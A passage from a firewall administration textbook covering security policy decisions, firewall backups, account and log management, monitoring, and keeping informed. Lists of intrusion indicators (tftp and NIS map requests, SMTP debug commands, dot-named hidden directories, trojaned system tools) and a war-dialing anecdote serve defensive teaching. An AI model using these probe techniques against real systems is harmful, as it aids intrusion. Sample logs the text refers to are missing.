Strategic decisions need to be understood and made by top-level management or they will never be successfully implemented. If you don't have top-level management support for security, you aren't going to have security; it's that simple. Why wouldn't you have support from top-level managers? Probably because you haven't addressed their concerns in ways they understand. Here are some things to consider in making your case.

11.3.1 Involve Everybody Who's Affected

You may be the person with the best understanding of the technical issues, but you aren't necessarily the person with the best understanding of the institution's needs as a whole. Strategic and policy decisions must be made by people working together. You can't just come up with a policy you like, take it around to a lot of people, and have them rubber stamp it. Even if you manage to get them to do it - which may well be more difficult than getting them to help make intelligent decisions - they won't actually follow it.

One major computer manufacturer had a policy forbidding dial-in modems. Unfortunately, the company's centralized dial-in access didn't satisfy all of their programmers. Some of these programmers figured out that, although they couldn't request modem lines, they could redirect existing fax lines to modems, go home at night, and dial up their work computers. Even more unfortunately, a programmer in one of the groups with this habit was fired and proceeded to break into the site. He systematically tried all the phone numbers in the range the company had assigned to fax machines until he connected to one of the redirected ones and got a login prompt from an unsecured machine inside the corporate firewall. The former employee did significant damage before he was detected and shut out. He was able to gain a lot of time because the people trying to shut him out didn't know the modems existed. When they did figure out that modems were involved, the process of getting rid of them all proved to be tedious and prolonged, because lines were diverted only when people planned to use them.

That whole incident was the result of the fact that management and system administrators had a policy that ignored some genuine needs of the people using the computer facility. The official policy required dial-in access to be so secure it was almost completely unusable, and the unofficial policy required dial-in access to be so usable that it was almost completely insecure. If there had been a policy that allowed moderately insecure dial-in access, the break-in might have been avoided, and it certainly would have been easier to detect and stop. It would also have been avoided if the programmers had agreed that security was more important than dial-in access, but that kind of agreement is much harder to achieve than a compromise.

In fact, in this case there wasn't much actual disagreement between the parties involved. If the managers had been asked, they would have said that letting people work from home was important to them; they didn't understand that the existing dial-in system was not providing acceptable service. If the programmers had been asked, they would have said that preventing people from maliciously deleting their work was important to them; they didn't understand the risks of what they were doing. But nobody thought about security and usability at the same time, and the result was pure disaster.

11.3.2 Accept `Wrong' Decisions

You may find that the security policy you come up with is one you don't particularly like. If this happens because the people who made it don't understand what they've done, then you should fight strongly to get it fixed. If, on the other hand, people understand the risks, but they don't share your priorities, put your objections down in writing and go ahead with the policies. Yes, this will sometimes lead to disasters. Nonetheless, if you ask a group to make a decision, you can't insist that it be your decision. You also can't be sure that your way is the only right way.

Sometimes managers have a genuine willingness to accept risks that seem overwhelming to system administrators. For example, one computer manufacturer chose to put one of their large and powerful machines on an unprotected net, and to give out accounts on the machine to customers and prospective customers upon request. The system administrator thought this was a terrible idea and pointed out that the machine was fundamentally impossible to secure; there were a large number of accounts, changing rapidly, with no pattern, and they belonged to people the company couldn't control. Furthermore, the reason the company was giving out test accounts was that the machine was a fast parallel processor, which also meant that it might as well have been designed as the ultimate password-cracking machine. To the system administrator, it seemed extremely likely that once this machine was broken into (which was probably inevitable), it was going to be used as a tool to break into other machines.

A battle ensued, and eventually, a compromise was reached. The machine was made available, but extra security was employed to protect internal networks from it. (This was a compromise because it interfered with employees' abilities to use the machine, which they needed to do to assist the outsiders who were using it.) Management chose to accept the remaining risk that the machine would be used as a platform to attack other sites, knowing that there was a potential for extremely bad publicity as a result.

What happened? Sure enough, the machine was compromised, and was used to attack at least the internal networks. The attacks on the internal networks were extremely annoying, and cost the company money in system administrators' time, but they didn't produce significant damage, and there was little or no bad publicity. Management considered this expense to be acceptable, however, given the sales generated by letting people test-drive the machine. In this case, conflicting security policies were resolved explicitly - by discussion and compromise - and the result was a policy that seemed less strong than the original, but that provided sufficient protection. By openly and intentionally choosing to accept a risk, the company brought it within acceptable limits.

11.3.3 Present Risks and Benefits in Different Ways for Different People

You need to recognize that different people have different concerns. Mostly, these concerns are predictable from their positions, but some are personal. For example, suppose that:

  • Your chief financial officer is concerned about the cost of security, or the cost of not having enough security.

  • Your chief executive officer is concerned about the negative publicity a security incident involving your site could bring, or about potential loss or theft of intellectual property via the Internet.

  • A department chair is concerned that tenure reviews will be revealed.

  • A mid-level manager is concerned his employees are squandering all their time reading Usenet news or surfing the Web.

  • Another mid-level manager is concerned her employees are importing virus-infected PC software from the Internet.

  • Still another mid-level manager is concerned how best to provide technical support to customers over the Internet.

  • A professor is concerned her data won't be accessible from other institutions while she's on sabbatical.

  • An instructor is concerned that students are stealing answers from each other or tests from instructors.

  • Users are concerned about the availability of Internet services they feel are vital for their jobs.

  • Users are concerned they won't be able to work together if there are too many security issues.

  • Students are concerned they won't be able to play with the computers, which is a part of how they learn.

  • Graduate students and project managers are concerned that security measures are going to slow down projects with strict timelines.

You need to take the time to discover all of these different, legitimate concerns and address them. You may also decide there are things that these various people should be worried about, but aren't, because they don't know any better; you have to educate them about those issues. This means you need to take the time to understand their jobs, what they want to accomplish with the network, and how well they appreciate the security issues.

Talk to each of these people in terms they care about. This requires a lot of listening before you ever start talking. To managers, talk about things like probable costs and potential losses; to executives, talk about risk versus benefit; and to technical staff, talk about capabilities. Before you go in with a proposal, be prepared with an explanation that suits your audience's point of view and technical level. If you have trouble understanding or communicating with a particular group, you may find it helps to build a relationship with someone who understands that group and can translate for you.

You're not trying to deceive anybody. The basic information is the same, no matter who you're talking to. On the other hand, if a particular decision saves money and makes for a more enjoyable working environment, you don't go to the chief financial officer and say "We want to do it this way because it's more fun," and then go the programmers and say "We want to do it this way because it's cheaper."

11.3.4 Avoid Surprises

When it comes to security, nobody likes surprises. That's why you need to make sure that the relevant people understand the relevant issues and are aware of, and agree with (or at least agree to abide by), the decisions made concerning those issues.

In particular, people need to know about the consequences of their decisions, including best, worst, and probable outcomes. Consequences that are obvious to you may not be obvious to other people. For example, people who are not extremely UNIX-knowledgeable may be quite willing to give out root passwords. They don't realize what the implications are, and they may be very upset when they find out.

People who have been surprised often overreact. They may go from completely unconcerned to demanding the impossible. One good break-in, or even a prank, can convert people from not understanding all the fuss about passwords to inquiring about the availability of voiceprint identification and machine gun turrets. (It's preferable to get them to make decisions while they are mildly worried, instead of blindly panicked!)

11.3.5 Condense to Important Decisions, with Implications

When you're asking a top manager to decide issues of policy, present only the decision to be made and the pros, cons, and implications of the various options: not a lot of extraneous decisions. For example, you shouldn't waste your CEO's time by asking him or her to decide whether you should run Sendmail or SMAIL as your mailer; that's primarily a technical issue, and one that should be resolved by the relevant technical staff and managers. On the other hand, you may need to call upon your CEO to decide strategic issues regarding mail, such as whether or not everyone in the organization is to have email access, or only certain people (and if it's to be limited, to whom).

Don't offer people decisions unless they have both the authority and the information with which to make those decisions. Always make it clear why they're being asked to decide (instead of having the decision made somewhere else). In most cases, you want to avoid open-ended questions. It's better to ask "Should we invest money in a single place to be a defense, or should we try to protect all the machines?" than "What do you think we should do about Internet security?" (The open question gives the replier the option of saying "nothing," which is probably not an answer you're going to be happy with.)

11.3.6 Justify Everything Else in Terms of Those Decisions

All of the technical and implementation decisions you make should follow from the high-level guidance you've obtained from your top managers and executives. If you don't see which way you should go with a technical issue because it depends on nontechnical issues, you may need to request more guidance on that issue. Again, explain clearly the problem; the options; and the pros, cons, and implications of each option.

When you explain policies or procedures, explain them in terms of the original decisions. Show people the reasoning process.

11.3.7 Emphasize that Many Issues Are Management and Personnel Issues, not Technical Issues

Certain problems, which some people try to characterize or solve as technical problems, are really management or personnel problems. For example, some managers worry that their employees will spend all their time at work reading Usenet news or surfing the Web. However, this is not a technical problem, but a personnel problem: the online equivalent of employees spending the day at their desks reading the newspaper or doing crossword puzzles.

Another common example of misdirected concern involves managers worrying that employees will distribute confidential information over the Internet. Again, this usually isn't a technical problem; it's a management problem. The same employee who could email your source code to a competitor could also carry it out the door in his pocket on an 8mm tape (generally far more conveniently and with less chance of being caught). It is irrational to place technological restrictions on information that can be sent out by email unless you also check everybody's bags and pockets as they leave the premises.

11.3.8 Don't Assume That Anything Is Obvious

Certain things that seem obvious to a technical person who is interested in security may not be at all obvious to nontechnical managers and executives. As we've mentioned, it's obvious to anyone who understands IP that packet filtering will allow you to restrict access to services by IP addresses, but not by user (unless you can tie specific users to specific IP addresses). Why? Because "user" is not a concept in IP, and there's nothing in the IP packet that reflects what "user" is responsible for that packet. Conversely, certain things that seem obvious to managers and executives are not at all obvious to technical staff, e.g., that the public's perception (which is often incomplete or simply incorrect) of a problem at your company is often more important than the technical "truth" of the matter.

Previous: 11.2 Putting Together a Security Policy | Building Internet Firewalls | Next: 11.4 What If You Can't Get a Security Policy?
11.2 Putting Together a Security Policy | Book Index | 11.4 What If You Can't Get a Security Policy?


[Chapter 11] 11.4 What If You Can't Get a Security Policy?

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 11.3 Getting Strategic and Policy Decisions Made Chapter 11
Security Policies 		Next: 12. Maintaining Firewalls

11.4 What If You Can't Get a Security Policy?

What do you do if, despite your best efforts, you can't get a security policy written down? The safest answer is this: document, document, document. Write down what you're doing, and why, and what the existing policies are, and what you tried, and why you think the situation is bad. Print it out on paper, sign it, and deliver it - at least to your manager, if not to several managers above your manager. File a paper copy, with your signature and the dates you gave it to people.

Every year, or every time there is a significant change in the situation, try to get the policy created again. If it doesn't work, repeat the entire documentation process. Be sure to edit the document; it's tempting to just change the date and resend it, but it probably won't be quite right any more, and it weakens your position.

Doing what we recommend is fairly confrontational behavior, and it can look as if you're more interested in making certain that you're safe than in making certain your site is safe.[1] It's worth working a long time on getting your document to say exactly what you want it to say. Don't fall into the trap of feeling that you have to use formal language. If what you want to say is "I understand that we're an informal company and we don't do written policies, but I think this issue is so important that we still need to have something written down," just say exactly that.

[1] This may be true, but it's not going to get anybody to fix anything.

Previous: 11.3 Getting Strategic and Policy Decisions Made | Building Internet Firewalls | Next: 12. Maintaining Firewalls
11.3 Getting Strategic and Policy Decisions Made | Book Index | 12. Maintaining Firewalls


[Chapter 12] Maintaining Firewalls

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 11.4 What If You Can't Get a Security Policy? Chapter 12 Next: 12.2 Monitoring Your System

12. Maintaining Firewalls

Contents:
Housekeeping
Monitoring Your System
Keeping Up to Date
How Long Does It Take?
When Should You Start Over?

If you've done a good job of designing a firewall that fits the needs of your organization, maintaining that firewall should be fairly straightforward. What does it mean to maintain a firewall? Maintenance tasks fall into three major categories:

  • Housekeeping

  • Monitoring your system

  • Keeping up to date

Once you've designed and built your firewall, it really shouldn't take a great deal of effort to keep it going, especially because much of the maintenance work can be automated.

12.1 Housekeeping

Housekeeping is the eternal round of small tasks that need to be done to keep your firewall clean and safe. There are three main tasks you'll need to deal with again and again:

  • Backing up your firewall

  • Managing your accounts

  • Managing your disk space

12.1.1 Backing Up Your Firewall

Make sure to back up all parts of your firewall. That means not only the general-purpose computers you may be using as bastion hosts or internal servers, but also the routers or other special-purpose devices. Rebuilding router configurations usually isn't easy, and your security depends on having your routers configured correctly.

Put your general-purpose machines on a regular, automated backup system. Preferably, that system should produce confirmation mail when it is running normally and distinctly different messages when it sees errors.

Why not produce mail only when errors occur? If the system produces mail only on errors, you won't notice the system if it fails to run at all. (Silence is not necessarily golden, as any parent of small children knows. If they aren't making noise, they're probably making mischief.)

Why distinctly different messages? If the system produces even vaguely similar messages when it is running normally and when it fails, people who are accustomed to ignoring the success messages will also ignore the failure messages. Ideally, a separate program should check to make sure that the backups have run, and to produce messages when they haven't.

Special-purpose machines like routers change much less often, and probably don't need an automated backup system. (This is fortunate, because they rarely support them.) When you do make changes, take advantage of any means available to record the configuration. Most systems write their configuration to a local floppy disk; some of them also support FTP. Write two floppy disks, clearly label and date them, and store one of them separate from the machine. Make these backups even if you have downloaded the configuration with FTP; you don't want the router to be completely dependent on another machine. If you have written the configuration on the router, rather than FTP'ing it, make an FTP copy as well as the floppy disks. Why? Sometimes it's easier to find files than to find small physical objects like floppy disks, and sometimes the floppy drive dies when the rest of the router still works.

NOTE: The design of backup systems is outside the scope of this book. This description, along with the section in Chapter 13, Responding to Security Incidents called "Backing Up Your Filesystems" provide only a summary. If you're uncertain about your backup system, you'll want to look at a general system administration reference. See Appendix A, Resources for complete information on additional resources.

12.1.2 Managing Your Accounts

Account management - adding new accounts, removing old ones, aging passwords, etc. - is one of the most often neglected housekeeping tasks. On firewall systems, it's absolutely crucial that new accounts be added correctly, old accounts removed promptly, and passwords changed appropriately. (See your own system's documentation for how to do all this.)

Establish a procedure for adding accounts; wherever you can, use a program to add them. Even though there shouldn't be many users on your firewall systems, every one of them is a possible danger, and it's worth the effort to ensure they're set up correctly every time. People have an unfortunate tendency to leave out steps, or to pause for a few days in the middle of a process. If that gap leaves an account that has no password, you're creating open invitations to intruders.

Make sure your account creation procedure includes dating the account, and that accounts are automatically reviewed every few months. You don't need to automatically turn them off, but you do need to automatically inform somebody that they've timed out. This is relatively easy to do on a UNIX system; it may be harder on other systems, particularly dedicated systems like routers. If possible, set things up so that the accounts can be watched by an automated system. This can be done by generating account files on the UNIX side and then transferring them to the other machine, or by generating the accounts on the machine itself, but automatically copying the account files to the UNIX side and examining them.

You should also arrange to get termination notices from the appropriate authorities whenever someone leaves your organization. Most companies are able to send around notices for full-time employees, and most universities can provide graduation notification for students. It may be much harder to keep track of contractors and students who drop out, so you shouldn't rely on official notifications to tell you about everybody who has left. You may also need to confirm notifications: for example, you may get termination notices for people who are actually converting to contract status, or graduation notices for people who are continuing as graduate students or junior faculty. These people are going to be annoyed if you get rid of all their files (although it's probably acceptable to temporarily disable their accounts if their status is in doubt).

If your operating system supports password aging, you may want to turn it on. Use a relatively long time period - perhaps three to six months. If you time out passwords more frequently (e.g., every month), users will be willing to go to great lengths to circumvent the timeout, and you probably won't see any real gain in security. Similarly, if your password aging doesn't guarantee that the user will see a notification before the account becomes unusable, don't turn it on. Otherwise, you will annoy your users, and you will run the risk of accidentally locking out administrators who have a critical need to use the machine.

If password aging on your system is going to require a user to change his password as he is logging in, you need a password program that strictly enforces good passwords. If you don't do this, people will choose simple passwords in the heat of the moment, honestly intending to change them to better ones later. All in all, you may find it more effective to simply send people notices on a regular basis, even though you'll get less compliance that way.

12.1.3 Managing Your Disk Space

Data always expands to fill all available space, even on machines that have almost no users. People dump things in odd corners of the filesystem, "just for now," and they build up there. This causes more problems than you may realize. Aside from the fact that you may want that disk space, this random junk complicates incident response. You'll end up asking yourself:

Is that a program that you left lying around last time you needed to install a new version, or did an intruder put it in?

Is that truly a random data file, or does it have some deep meaning to an intruder?

Unfortunately, there is no automatic way to find junk; human beings, particularly system administrators who can write anywhere on the disk, are too unpredictable. Another person needs to look around on a regular basis. It's particularly effective to send every new system administrator on a tour of the disks; they'll notice things the old hands have become accustomed to.

Auditing programs like Tripwire, discussed in Chapter 5, Bastion Hosts, will tell you about new files that appear in supposedly static areas, and this information will help you keep things straight. You will still need to check all the areas where you intentionally allow changes, and you should periodically go back and re-check the static areas. You will probably get the alert while you still know why you put that file in that place, and that knowledge may wear off over time.

On most firewall machines, your main disk space problem will be logs. These can and should be rotated automatically, and you may want to compress them as well; a program like trimlog (see Appendix B, Tools) helps automate the process. It's important to stop programs or cause them to suspend logging while you are trying to truncate or move logs. If a program is trying to write to a log file while you're trying to move or truncate it, you're obviously going to have problems. In fact, though, you may run into difficulties even if a program is simply holding the file open in preparation for writing to it later, e.g., you may discover the program is still logging to the file you renamed.

Previous: 11.4 What If You Can't Get a Security Policy? | Building Internet Firewalls | Next: 12.2 Monitoring Your System
11.4 What If You Can't Get a Security Policy? | Book Index | 12.2 Monitoring Your System


[Chapter 12] 12.2 Monitoring Your System

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 12.1 Housekeeping Chapter 12
Maintaining Firewalls 		Next: 12.3 Keeping Up to Date

12.2 Monitoring Your System

Another important aspect of firewall maintenance involves monitoring your system. Monitoring is intended to tell you several things:

  • Has your firewall been compromised?

  • What kinds of attacks are being tried against your firewall?

  • Is your firewall in working order?

  • Is your firewall able to provide the service your users need?

In order to answer these questions, you'll need to know what the normal pattern of usage is.

12.2.1 Special-Purpose Monitoring Devices

You'll do most of your monitoring using the tools and the logging provided by the existing parts of your firewall, but you may find it convenient to have some dedicated monitoring devices as well. For example, you may want to put a monitoring station on your perimeter net so you can be sure only the packets you expect are going across it. You can use a general-purpose computer with network snooping software on it, or you can use a special-purpose network sniffer.

How can you make certain that this monitoring machine can't be used by an intruder? In fact, you'd prefer that an intruder not even detect its existence. On some network hardware, you can disable transmission in the network interface (with sufficient expertise and a pair of wire cutters), which will make the machine impossible to detect and extremely difficult for an intruder to use (because it can't reply). If you have source for your operating system, you can always disable transmission there; however, in this case, it's much harder to be certain you've been successful. In most cases, you'll have to settle for extremely cautious configuration of the machine. Treat it like a bastion host that needs to do less and be more secure.

12.2.2 What Should You Watch For?

In a perfect world, you'd like to know absolutely everything that goes through your firewall - every packet dropped or accepted, every connection requested. In the real world, neither the firewall nor your brain can cope with that much information. To come up with a practical compromise, you'll want to turn on the most verbose logging that doesn't slow down your machines too much and that doesn't fill up your disks too fast; then, you'll want to summarize the logs that are produced.

You can improve the disk space problem by writing verbose logs to high-capacity tapes. DAT and 8mm tapes are cheap, and they hold a lot of data, but they have some drawbacks. They're not particularly fast; they rarely can write at more than 800K a second, under the best circumstances, and log entries are generally too short to achieve maximum performance. They're also annoying to read data from. If you're interested in using them, write summary logs to disk, and write everything to tape. If you find a situation where you need more data, you can go back to the tape for it. A tape drive can probably keep up with the packets on an average Internet connection, but it won't keep up with an internal connection at full LAN speeds or even with a T-1 connection to the Internet that's at close to its maximum performance.

In particular, you want to log the following cases:

  • All dropped packets, denied connections, and rejected attempts

  • At least the time, protocol, and user name for every successful connection to or through your bastion host

  • All error messages from your routers, your bastion host, and any proxying programs

NOTE: For security reasons, some information should never be logged where an intruder could possibly be able to read it. For example, although you should log failed login attempts, you should not log the password that was used in the failed attempt. Users frequently mistype their own passwords, and logging these mistyped passwords would make it easier for a computer cracker to break into a user's account.

Some system administrators believe that the account name should also not be logged on failed login attempts, especially when the account typed by the user is nonexistent. The reason is that users occasionally type their passwords when they are prompted for their user names. If invalid accounts are logged, it might be possible for an attacker to use those logs to infer people's passwords.

What are you watching for? You want to know what your usual pattern is (and what trends there are in it), and you want to be alerted to any exceptions to that pattern. To recognize when things are going wrong, you have to understand what happens when things are going right. It's important to know what messages you get when everything is working. Most systems produce error messages that sound peculiar and threatening even when they're working perfectly well. For example, in the sample syslog output in Example 12.1, messages 10, 14, and 17 all look vaguely threatening, but are in fact perfectly OK.[1] (See the section in Chapter 5 called "Setting Up System Logs.") If you see those messages for the first time when you're trying to debug a problem, you're likely to leap to the conclusion that the messages have something to do with your problem and get thoroughly sidetracked. Even if you never do figure out what the messages are and why they're appearing, just knowing that certain messages appear even when things are working fine will save you time.

[1] Message 10 is a common network failure that will result in a retry, and how good do you expect your connection to Cameroon to be? 14 is traceroute running. 17 says there are no synonyms defined, which you presumably already know.

Example 12.1: A Sample syslog File (Line Numbers Added)

Most of your logging will probably be done via the
UNIX  syslog facility or some
other similar file-based log mechanism. You'll need to develop
log-scanning scripts to analyze each of these log files on a regular
basis. Some firewall packages, such as the TIS FWTK, come with scripts to analyze and summarize their own
logs. You could use these scripts as templates for your own logging,
or you could write your own scripts from scratch in awk,
perl, or some other suitable language. Chapter 5 discusses a package named
SWATCH, often used for log monitoring and
analysis.
As you can see, the log file is verbose and not particularly
readable (even with better linebreaks inserted!). An unimportant error
condition on a distant host (the server name mismatch on
nhs-relay.ac.cv) is producing multiple error
messages (11, 12, and 13, in this highly condensed version). The log
file is also in chronological order, which is not particularly the order
of importance. Example 12.2 shows a report based on a
log file, with messages arranged in a more useful order, and somewhat
summarized.
Example 12.2: A Report Based on a syslog File
In general, it's safer to write scripts to filter out messages to be
ignored (leaving unusual stuff), rather than writing scripts to identify
the unusual stuff directly. The reason for this is that you seldom know
all of the different messages your firewall might produce. It's easier
to ignore the benign messages than to recognize the dangerous ones.
Log messages fall into three categories:

  • Known to be OK (e.g.,
"login succeeded for user smith"): You
would like to ignore these. Message 3 is clearly in this category.
  • Known to be dangerous (e.g.,
"bad disk block at location 0x47c7a8"):
You would like these to cause some action to happen; this may be
anything from sending someone email, to submitting a trouble ticket,
to paging you.
  • Unknown: You would like these to be sent off for
a human to examine. Message 18 is one of these; why is someone sending
UDP packets from port 20 to an arbitrary port above
1024? That doesn't match any common protocol.
Setting up the criteria is an iterative process; once a human has
examined a mystery message, future examples of that message can
probably be classified as either OK or dangerous
without being examined again. You'll change the rules as time goes
on.
Often, log entries must be considered in context. A message that's
mildly mysterious if it occurs once is cause for serious worry if it
occurs every minute. For example, "login succeeded for user
smith" is good, unless it's preceded by three "login
failed" messages for every user above "smith" in
your password file; in that case, it's very bad indeed. In the
syslog example, message 9 shows an unexceptional
outbound TCP connection, logged just on general principles. It
wouldn't be at all worrying if it weren't preceded by messages 6
through 8. In context, you know that someone made three failed tries
at logging in as "admin," finally succeeded, and then
immediately started up an outbound connection. This looks extremely
suspicious. Message 7 doesn't mean anything at all without context.
12.2.3 The Good, the Bad, and the Ugly
Once you go beyond the obvious (for example, it's
OK for users to log in; it's not
OK for the disk to be bad) how can you tell when
you're in trouble? Some rules of thumb:

Once is an accident; twice is coincidence; three times
is enemy action
One user who tries to log in at 2 A.M. and fails is
up too late and can't type. Two users who try to log in at 2
A.M. may have been at the same party, but you're
certainly going to be curious about the incident. Three or more
attempts to log in at 2 A.M., and someone is trying
to break in. This rule of thumb applies mostly to attempts on separate
accounts; stubborn repeated attempts by the same user to do the same
thing that doesn't work probably merely indicates that the user is
single-minded - and wrong.
Accidents don't try to cover themselves up
If your log files are missing, if entries have been deleted, or if there
is any other evidence that somebody has been covering his tracks, you
probably have a break-in. If not, you have some other serious problem.
(Either something is broken, or somebody administering the machine is
deleting things inappropriately.)
Most mysteries don't mean anything
For everybody who sets out to track down a mysterious problem or a
strange log entry, and finds an intruder, there are 99 people who set
out to track down a mysterious problem or a strange log entry, and find
an annoying but trivial bug. You should still try to track these things
down, but there's no need to panic.
Straightforward explanations are usually
correct
It's possible that you were broken into at the same time you had
another known problem, but it's not likely. If you know that you had a
hardware failure, or a person wandering around doing misguided things,
you'll want to spend some time ruling out side effects of the
known problem before you decide that you also have an intruder. On the
other hand, if your files are mysteriously disappearing and there's
nothing apparently wrong with your disk, somebody is probably deleting
them, and you'll want to spend a very long time ruling out an intruder
before you decide that your filesystem code is buggy.
You're going to end up classifying suspicious events into several
categories:

  • You know what caused it, and it's not a security problem.
  • You don't know what caused it, you're probably never going to know
what caused it, but whatever it was, it's not happening anymore.
  • Somebody was trying to break in, but not very hard; this is a
probe.
  • Somebody made a serious attempt to get in; this is an attack.
  • Somebody actually broke in.
The boundaries between these categories are vague. Unless you're
dealing with messages from the first category (i.e., a known
nonproblem), it's going to come down to a judgment call most of the
time. It's impossible to provide an exhaustive list of the symptoms of
any of these situations, but here are some generalizations that may
help.
You should suspect that someone's been probing your site if you see:

  • A few attempts to access services at insecure ports (e.g.,
attempts to contact portmapper or an X server).
  • Attempts to log in with common account names (e.g.,
guest or lp; most attempts
to log in as "anonymous" are mistakes).
  • Requests to tftp files or to transfer
NIS maps.
  • Somebody feeding the debug command to your
SMTP server.
You should be more concerned if you see any of the following; an
attack may be going on:

  • Multiple failed attempts to log in to valid accounts on your
machines, particularly accounts that are used across the Internet, or
attempts on accounts in the order in which they appear in your password
file.
  • Unusual accepted packets or commands whose purpose you don't
understand.
  • Packets sent to every port in a range.
  • Successful logins from an unexpected site.
You should suspect a successful break-in if you see:

  • Deleted or modified log files.
  • Programs that suddenly omit expected information (this suggests that
they have been replaced with versions that ignore the intruder's files
and programs). On UNIX machines, the most frequent
victims are ls, ps, and
ifconfig.
  • New log files containing password information or packet traces
that you can't explain.
  •  Directories that contain more administrative entries
than they should. For example, on UNIX machines,
directories should contain two entries with names made out of periods
("." and "..", indicating "this
directory" and "parent directory"), but there should
not be more than two such entries (for instance, "..." or
".. "). If it looks as if there is more than one entry for
each, the extra entry probably has spaces in it and is being used to
conceal the file or directory from casual observation.
  • Unexpected logins as privileged users (for example, root) or
unexpected users who are suddenly able to become privileged users.
  • Apparent probes or attacks coming from your own machines.
  • Extra processes with names that are variants of common system
processes (e.g., both sendmail and
Sendmail are running, or init and initd; this is another trick for
sneaking things in where you won't notice them).
  • An unexpected change in the login prompt for your machine, or for
other machines you reach from yours. This indicates
the program that displays the prompt has been modified.
12.2.4 Responding to Probes
Inevitably, you're going to detect apparent probes of your
firewall - packets sent to services you don't offer to the
Internet, attempts to log in to nonexistent accounts, and so
on. Probes are the Internet equivalent of someone walking down a line
of doors and checking every door knob to see if it's locked. Probers
generally try one or two things, and, if they don't get an interesting
response, they move on.  If you're inclined to do so, you can spend a
lot of time chasing down incidents like this, attempting to figure out
where the probes are coming from and who is behind them. However, in
most situations, it probably isn't worth the effort. The novelty of
chasing down probes of this kind fades quickly. If you're getting
persistent probes from some site, you might contact the management of
that site to let them know what's going on, but that's usually about
as far as folks need to go in responding to these probes.
It's unfortunate that on the Internet today, probes are so frequent that
the laissez faire attitude we've described is often an appropriate one.
In good neighborhoods, people don't get away with trying doorknobs. You
have a right to be unhappy with people who behave this way, and trying
to get them to stop is perfectly reasonable. However, you do need to
decide where you're going to spend your energy. Save extreme responses
for extreme situations. Treating probers with maximum harshness is just
going to convince people that you are unreasonable.
Some people amuse themselves by setting up firewall machines to lead
on people who try common probes. For example, they put a password
file in the anonymous FTP area that appears to
contain user account data. However, if the prober breaks the
encrypted passwords, he sees a snide message. This is a harmless way
to spend your spare time, and it provides a satisfactory feeling of
revenge, but it doesn't actually improve your security much. It
simply annoys attackers, and doing so may cause them to take a
personal interest in breaking into your site.
Different sites have different opinions about what constitutes a
probe, and what constitutes a full-fledged attack. Most people call
something a probe as long as they know it's not going to work, even if
it is determined and drawn out. For example, somebody who
determinedly tries every possible combination of lowercase alphabetic
characters as your root password is not going to succeed, and can
probably be ignored as a probe until you get tired of reading the log
messages. (That kind of attack won't succeed, no matter how
many combinations are tried.) However, if you have the time and the
energy, it's probably worth pursuing people who are making determined
attempts, even when you know they'll fail.
There are several freely available packages that probe for known
vulnerabilities in a system. The most famous one these days is
SATAN, developed by Dan Farmer and Wietse
Venema. SATAN, as distributed, does nothing but
probe; it does not take advantage of the vulnerabilities it looks
for.[2] On the other hand, there is no benign reason for anybody
but you to be running SATAN against your site. The
program is highly configurable, and, therefore, it might have been
configured to probe for more obscure
vulnerabilities. SATAN's probes will be detected by
normal firewall logging, either by packet filters rejecting the
packets or by the servers on the bastion host doing the
same. Specialized SATAN detectors are now
available, but most of them rely on the ability to start up promiscuous
mode on an Ethernet interface (which you should have disabled on your
bastion hosts). These detectors also distinguish
SATAN from random attempts by timing, which is
easily modified. If you already have reasonable logging turned on,
running a SATAN detector will not increase your security.
[2] These are well-known vulnerabilities that you will be protected
against if you follow this book's advice and keep up with
CERT-CC advisories.
Because SATAN is widely available and does not pose
a threat to a firewalled site, it is reasonable to regard people who
run it as merely probing your system, rather than mounting a
determined attack. They have expended little effort and have little
chance of success. Probes based on the use of SATAN
will appear in your logs like any other probe - as a cluster of
rejected packets from the same source.
12.2.5 Responding to Attacks
If your logs show that someone is making a determined attack against
your system (see the rules of thumb we presented in "The Good,
the Bad, and the Ugly," earlier in this chapter), you probably
want to do a little more than sit back and watch. Chapter 13 describes in detail how you should respond to a
real security incident.
Previous: 12.1 Housekeeping | Building Internet Firewalls | Next: 12.3 Keeping Up to Date
12.1 Housekeeping | Book Index | 12.3 Keeping Up to Date


[Chapter 12] 12.3 Keeping Up to Date

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 12.2 Monitoring Your System Chapter 12
Maintaining Firewalls 		Next: 12.4 How Long Does It Take?

12.3 Keeping Up to Date

The final important aspect of firewall maintenance involves keeping up to date. You obviously need to keep your system up to date, but before you can do that, you need to keep yourself up to date.

12.3.1 Keeping Yourself Up to Date

The hardest part of firewall maintenance is staying abreast of the continuous developments in the field. New things are happening every day; new bugs are being discovered and exploited; new attacks are being carried out; new patches and fixes for your existing systems and tools are being made available; and new tools are becoming available. Staying up to date with all these changes can easily be the most time-consuming part of a firewall maintainer's job.

How do you stay up to date? Well, primarily by staying involved. Find a set of mailing lists, newsgroups, magazines, and professional forums you feel comfortable with and follow them carefully. This section describes the most important ways you can keep involved. Appendix A provides a more complete list, along with contact information.

12.3.1.1 Mailing lists

There are several mailing lists that might be of interest to anyone who maintains a firewall; instructions for subscribing to these are included in Appendix A. The most important list for folks interested in firewalls is the Firewalls mailing list at greatcircle.com. This list hosts discussions of the design, installation, configuration, maintenance, and philosophy of Internet firewalls of all types. The main drawback of the list is that it can be very busy; there are sometimes more than 100 messages per day posted to the list. To address the problem of volume, a Firewalls-Digest version of the list is also available; Firewalls-Digest subscribers receive all of the same messages that subscribers to the main Firewalls list receive, but the messages are bundled into "digest" format (there are usually 10 to 20 messages per digest).

Another list you should almost certainly subscribe to is the CERT-Advisory mailing list. This is the list to which CERT-CC posts its new security advisories. If you are served by a response team other than CERT-CC (e.g., one of the other teams in the FIRST, described in Appendix A), check to see if that team has its own advisory list and subscribe to that one as well as to the CERT-CC list. Your team will probably mirror most of CERT-CC's advisories, and may produce advisories of its own that are relevant to its constituency (you) that aren't mirrored by CERT-CC.

Beyond the Firewalls and CERT-Advisory mailing lists, the choices are less clear. There are several geographic or industry-specific firewalls lists, e.g., the Academic-Firewalls and Firewalls-UK lists. There is also a mailing list called Bugtraq, where detailed discussions of network security holes take place; if you can wade through the seemingly perpetual flame wars, you can occasionally find some gems there.

There are also product- and package-specific lists for many firewalls products and packages; for example, there are lists for Livingston, Telebit, and Cisco routers, Morning Star software, and the TIS FWTK. If you are using (or contemplating using) a particular product or package, you should probably subscribe to the list for that product or package, if there is one. Lists of this kind are often an invaluable source of technical support, particularly during widespread security incidents.

12.3.1.2 Newsgroups

